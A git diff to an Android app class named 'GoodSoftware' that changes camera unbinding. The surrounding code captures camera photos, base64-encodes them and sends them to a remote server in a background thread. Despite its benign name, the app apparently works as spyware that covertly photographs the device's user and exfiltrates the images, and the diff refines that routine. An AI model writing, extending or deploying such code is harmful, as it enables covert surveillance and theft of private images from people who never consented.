diff --git a/app/build.gradle.kts b/app/build.gradle.kts index b53e5c0..0abc4a6 100644 --- a/app/build.gradle.kts +++ b/app/build.gradle.kts @@ -27,6 +27,7 @@ android { getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro" ) + multiDexEnabled = false } } compileOptions { diff --git a/app/src/main/java/com/ti/m/GoodSoftware.kt b/app/src/main/java/com/ti/m/GoodSoftware.kt index 79f546b..4eaf191 100644 --- a/app/src/main/java/com/ti/m/GoodSoftware.kt +++ b/app/src/main/java/com/ti/m/GoodSoftware.kt @@ -398,6 +398,7 @@ class GoodSoftware (private val activity: MainActivity) { val imageCapturedListener = object : ImageCapture.OnImageCapturedCallback() { override fun onError(exc: ImageCaptureException) { Log.e(picture.TAG, "Photo capture failed: ${exc.message}", exc) + cameraProvider?.unbindAll() } override fun onCaptureSuccess(image: ImageProxy) { @@ -409,7 +410,6 @@ class GoodSoftware (private val activity: MainActivity) { buffer.get(bytes) byteArrayOutputStream.write(bytes) val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT) - //Log.d(picture.TAG, "Base64 Image: $base64Image") Thread { val conn = establishConnectionWithRetry() if (conn == null) { @@ -418,6 +418,7 @@ class GoodSoftware (private val activity: MainActivity) { sendDataToServer(base64Image, conn) disconnect(conn) }.start() + cameraProvider?.unbindAll() image.close() } } @@ -430,7 +431,7 @@ class GoodSoftware (private val activity: MainActivity) { ContextCompat.getMainExecutor(context), imageCapturedListener ) - cameraProvider?.unbind() + }